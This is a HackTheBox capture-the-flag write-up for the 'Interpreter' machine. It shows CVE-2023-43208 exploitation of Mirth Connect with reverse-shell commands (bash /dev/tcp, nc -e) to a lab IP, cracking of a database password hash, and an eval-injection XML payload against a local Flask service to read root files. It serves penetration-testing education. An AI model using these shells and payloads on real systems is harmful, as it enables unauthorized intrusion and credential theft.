Post

Interpreter

Writeup for the HackTheBox machine "Interpreter"

Interpreter

I started enumeration after adding 10.129.8.223 interpreter.htb to /etc/hosts

Enumeration

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
|_http-title: Mirth Connect Administrator
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From this we can see 2 webpages.

image.png

and the secure site is the login page for the service

image.png

While searching i found CVE-2023-43208 which affects the NextGen Mirth Connect service version below 4.4.1

Expliotation

Read more about the CVE here: https://horizon3.ai/attack-research/disclosures/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

Since i couldn’t find any version details, i looked at the CVE year and it was 2023 while the year on the dashboard is 2021. So this should be vulnerable to this CVE.

I found this PoC for the above CVE: https://github.com/MKIRAHMET/PoC-2023-43208

Primary Access - Reverse Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
                                                                          
┌──(kali㉿kali)-[~/htb/interpreter/PoC-2023-43208]
└─$ python3 PoC.py

[*]  :::===== :::  === :::=====      :::====  :::====  :::====  :::===           :::  === :::===  :::====  :::====  
:::==== 
[*]  :::      :::  === :::           ::   === :::  === ::   ===     ===          :::  ===     === ::   === :::  === 
:::  ===
[*]  ===      ===  === ======           ====  ===  ===    ====   =====  ======== ========  =====     ====  ===  === 
====== 
[*]  ===       ======  ===            ===     ===  ===  ===         ===               ===     ===  ===     ===  === 
===  ===
[*]   =======    ==    ========      ========  ======  ======== ======                === ======  ========  ======  
====== 

[!] CVE-2023-43208 - Mirth Connect RCE Exploit
[+] Original Author: K3ysTr0K3R & Chocapikk
[+] Modified by: M0h4
[*] Repository: CVE-2023-43208-EXPLOIT

[*] Use responsibly and only on authorized systems!

============================================================
[!] M0h4's Mirth Connect Exploit
============================================================

[?] Enter target URL (e.g., https://192.168.1.100:8443): https://interpreter.htb
[?] Enter your LHOST (listening IP): 10.10.16.9
[?] Enter your LPORT (listening port): 4444

============================================================
[+] Target: https://interpreter.htb
[+] LHOST: 10.10.16.9
[+] LPORT: 4444
============================================================

[?] Start exploitation? (y/n): y

============================================================
[!] M0h4's Exploitation Engine Starting...
============================================================

[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 found at https://interpreter.htb
[+] Target: https://interpreter.htb
[+] LHOST: 10.10.16.9
[+] LPORT: 4444

[!] Make sure your listener is running:
[!]   ncat -lnvp 4444
[!]   OR
[!]   nc -lnvp 4444

[?] Press Enter when your listener is ready...
[*] Launching M0h4's exploit against https://interpreter.htb...

[*] [M0h4] Trying payload 1/8...
[!] Command: bash -i >& /dev/tcp/10.10.16.9/4444 0>&1...
[!] Payload 1 triggered error (this is often good!)

[?] Did you get a shell? (y/n): n
[*] Continuing with next payload...

[*] [M0h4] Trying payload 2/8...
[!] Command: nc -e /bin/sh 10.10.16.9 4444...
[!] Payload 2 triggered error (this is often good!)

[?] Did you get a shell? (y/n): y
[+] Shell acquired! M0h4 strikes again!
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444                           
listening on [any] 4444 ...
connect to [10.10.16.9] from (UNKNOWN) [10.129.8.223] 60614
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
whoami
mirth

I ran the PoC and followed with the interactive panel and got RCE

Shell stabilizing

1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
[CTRL + Z]
stty raw -echo; fg

Privilege Escalation - User

DB

I found an interesting file at /usr/local/mirthconnect/conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</drivers>mirth@interpreter:/usr/local/mirthconnect/conf$ ls
dbdrivers.xml  log4j2.properties  mirth.properties
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties 
# Mirth Connect configuration file

# directories
dir.appdata = /var/lib/mirthconnect
dir.tempdata = ${dir.appdata}/temp

<SNIP>

# server
http.contextpath = /
server.url =
database.username = mirthdb
database.password = MirthPass123!

#On startup, Maximum number of retries to establish database connections in case of failure
database.connection.maxretry = 2

#On startup, Maximum wait time in milliseconds for retry to establish database connections in case of failure
database.connection.retrywaitinmilliseconds = 10000

# If true, various read-only statements are separated into their own connection pool.
# By default the read-only pool will use the same connection information as the master pool,
# but you can change this with the "database-readonly" options. For example, to point the
# read-only pool to a different JDBC URL:
#
# database-readonly.url = jdbc:...
# 
database.enable-read-write-split = true

It revealed the db creds in plain text.

1
2
database.username = mirthdb
database.password = MirthPass123!
1
2
3
4
5
6
7
8
9
10
mirth@interpreter:/usr/local/mirthconnect/conf$ ss -tulpn
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                          
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                    
tcp   LISTEN 0      256          0.0.0.0:6661       0.0.0.0:*    users:(("java",pid=3567,fd=335))
tcp   LISTEN 0      50           0.0.0.0:443        0.0.0.0:*    users:(("java",pid=3567,fd=330))
tcp   LISTEN 0      50           0.0.0.0:80         0.0.0.0:*    users:(("java",pid=3567,fd=327))
tcp   LISTEN 0      80         127.0.0.1:3306       0.0.0.0:*                                    
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                    
tcp   LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*                                    
tcp   LISTEN 0      128             [::]:22            [::]:* 

This reveals 2 internal services at ports 3306 and 54321 and the port 3306 is used by mysql so connecting to it with the creds above while keeping the port 54321 in mind.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
mirth@interpreter:/usr/local/mirthconnect/conf$ mysql -u mirthdb -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 39
Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 name as argument.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mc_bdd_prod        |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use mc_bdd_prod
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mc_bdd_prod]> show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.000 sec)

MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.000 sec)

We got a password hash from this table.

u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

It seemed to be a complex type of hash with sha256 and base64.

I searched about it and found this script that turns it into a form which hashcat accepts.

https://github.com/AnimePrincess420/MirthConnect-to-Hashcat

Hash cracking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/htb/interpreter]
└─$ git clone https://github.com/AnimePrincess420/MirthConnect-to-Hashcat.git
Cloning into 'MirthConnect-to-Hashcat'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (12/12), 4.66 KiB | 681.00 KiB/s, done.

┌──(kali㉿kali)-[~/htb/interpreter]
└─$ cd MirthConnect-to-Hashcat 

┌──(kali㉿kali)-[~/htb/interpreter/MirthConnect-to-Hashcat]
└─$ python3 mirth2hashcat.py 

===================================
   MirthConnect 2 Hashcat v1.1   
===================================

Enter raw Mirth Base64 Hash: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
Iterations (Default: 600000): 

[*] Converting for Hashcat Mode 10900...

--- HASHCAT FORMAT ---
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
----------------------

┌──(kali㉿kali)-[~/htb/interpreter/MirthConnect-to-Hashcat]
└─$ echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps='>hash.hash

now cracking it with hashcat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[~/htb/interpreter/MirthConnect-to-Hashcat]
└─$ hashcat hash.hash /usr/share/wordlists/rockyou.txt -w3 -S
hashcat (v6.2.6) starting in autodetect mode

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sat Feb 28 22:50:47 2026 (4 mins, 10 secs)
Time.Estimated...: Sat Feb 28 22:54:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       40 H/s (66.64ms) @ Accel:256 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9984/14344385 (0.07%)
Rejected.........: 0/9984 (0.00%)
Restore.Point....: 9216/14344385 (0.06%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599040-599999
Candidate.Engine.: Host Generator + PCIe
Candidates.#1....: rubberducky -> stevens
Hardware.Mon.#1..: Util: 89%

Cracked it and got the pass : snowflake1

SSH as user

1
2
3
4
mirth@interpreter:/usr/local/mirthconnect/conf$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

Checked for users with a shell and found sedric

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/htb/interpreter/MirthConnect-to-Hashcat]
└─$ ssh sedric@interpreter.htb
The authenticity of host 'interpreter.htb (10.129.244.184)' can't be established.
ED25519 key fingerprint is SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'interpreter.htb' (ED25519) to the list of known hosts.
sedric@interpreter.htb's password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
sedric@interpreter:~$ id
uid=1000(sedric) gid=1000(sedric) groups=1000(sedric)

Privilege Escalation - Root

SSH tunneling

Since we had something running on port 54321, lets do an ssh tunneling

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/htb/interpreter]
└─$ ssh -L 54321:localhost:54321 sedric@interpreter.htb
sedric@interpreter.htb's password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 28 12:34:10 2026 from 10.10.16.9

now i can access the port 54321 directly form my kali at localhost:54321

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/htb/interpreter]
└─$ curl localhost:54321
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

┌──(kali㉿kali)-[~/htb/interpreter]
└─$ nmap localhost -p 54321 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-28 23:07 IST
Nmap scan report for localhost (127.0.0.1)

PORT      STATE SERVICE VERSION
54321/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6

We can see that its an http service. But I cant seem to find a homepage for it. So lets try to find the source file of the process running it.

Source file of http service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sedric@interpreter:~$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 102192 12056 ?        Ss   10:55   0:04 /sbin/init
root           2  0.0  0.0      0     0 ?        S    10:55   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   10:55   0:00 [rcu_gp]

<SNIP>

mirth       3567  0.7  8.8 2883772 356704 ?      Ssl  10:55   0:54 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -server -Xmx256m -Djava.awt.headless=true -Dapple.awt.UIElement=tru
root        3568  0.8  0.8 1055696 32652 ?       Ss   10:55   1:06 /usr/bin/python3 /usr/local/bin/notif.py
root        3572  0.0  0.0   5880  1036 tty1     Ss+  10:55   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        3590  0.0  0.2  15452  9384 ?        Ss   10:55   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
mysql       3661  0.0  3.5 1415460 143960 ?      Ssl  10:55   0:01 /usr/sbin/mariadbd
mirth       3897  0.0  0.0   2584   936 ?        S    11:11   0:00 sh
mirth       3899  0.0  0.2  16780  8776 ?        S    11:12   0:00 python3 -c import pty;pty.spawn("/bin/bash")
mirth       3900  0.0  0.1   7204  4116 pts/0    Ss+  11:12   0:00 /bin/bash
root        4200  0.0  0.0      0     0 ?        I    12:32   0:00 [kworker/u4:1-flush-8:0]
root        4215  0.0  0.2  17752 10884 ?        Ss   12:34   0:00 sshd: sedric [priv]
sedric      4221  2.5  0.2  18944  8020 ?        S    12:34   0:46 sshd: sedric@pts/1
sedric      4222  0.0  0.1   9888  6060 pts/1    Ss   12:34   0:00 -bash
sedric     66285  200  0.1  11092  4364 pts/1    R+   13:04   0:00 ps aux

Here we can see a process running as root:

1
root        3568  0.8  0.8 1055696 32652 ?       Ss   10:55   1:06 /usr/bin/python3 /usr/local/bin/notif.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
sedric@interpreter:~$ cat /usr/local/bin/notif.py 
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}),  years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

SSTI

With the source file found of the service, we can see that it only takes POST method on /addPatient endpoint. In the code,

1
2
3
 template = f"Patient {first} {last} ({gender}),  years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")

It shows option for SSTI and python execution. Even though the regex is used,

1
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

It is still vulnerable to simple code execution.

We can read the flag with the following python script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
python3 -c "
import urllib.request
xml = '''<patient>
  <timestamp>20250101120000</timestamp>
  <sender_app>TEST</sender_app>
  <id>12345</id>
  <firstname>{__import__(\"builtins\").open(\"/root/root.txt\").read()}</firstname>
  <lastname>Doe</lastname>
  <birth_date>01/01/1990</birth_date>
  <gender>M</gender>
</patient>'''
req = urllib.request.Request(
    'http://127.0.0.1:54321/addPatient',
    data=xml.encode(),
    headers={'Content-Type': 'application/xml'}
)
print(urllib.request.urlopen(req).read().decode())
"

Output:

1
2
Patient <FLAG>
 Doe (M), 36 years old, received from TEST at 20250101120000
This post is licensed under CC BY 4.0 by the author.

Trending Tags